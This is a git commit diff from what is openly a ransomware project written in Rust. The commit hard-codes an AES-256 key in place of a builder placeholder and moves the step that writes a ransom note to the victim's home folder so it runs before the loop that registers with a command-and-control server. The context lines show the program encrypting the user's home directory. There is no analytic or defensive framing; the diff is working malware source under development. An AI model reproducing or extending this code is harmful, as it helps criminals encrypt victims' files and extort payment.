fix: make ransom note before attempting registration
This commit is contained in:
parent
d8b855a853
commit
666845b90b
2 changed files with 7 additions and 7 deletions
|
@ -18,7 +18,7 @@ use reqwest::blocking::Request;
|
|||
|
||||
type Aes256Cbc = Cbc<Aes256, Pkcs7>;
|
||||
|
||||
const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder";
|
||||
const KEY: &[u8] = b"kYmfk8pkMkgR9nj3EQ4x0JuJn6Qwq0cQ";
|
||||
const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA
|
||||
const C2ADDR: &str = "c2serveraddr";
|
||||
|
||||
|
|
|
@ -23,6 +23,12 @@ fn main() -> std::io::Result<()> {
|
|||
encrypt_directory(&home).unwrap(); // I know this many unwraps look
|
||||
// suspicious, but the chance of this
|
||||
// failing is less than a solar flare.
|
||||
// Write ransom note to desktop
|
||||
let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for
|
||||
// the user's HOME
|
||||
ransomnote.write_all(NOTE.as_bytes())?;
|
||||
ransomnote.flush()?;
|
||||
|
||||
|
||||
loop {
|
||||
let registration_attempt = register();
|
||||
|
@ -33,11 +39,5 @@ fn main() -> std::io::Result<()> {
|
|||
}
|
||||
}
|
||||
|
||||
// Write ransom note to desktop
|
||||
let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for
|
||||
// the user's HOME
|
||||
ransomnote.write_all(NOTE.as_bytes())?;
|
||||
ransomnote.flush()?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue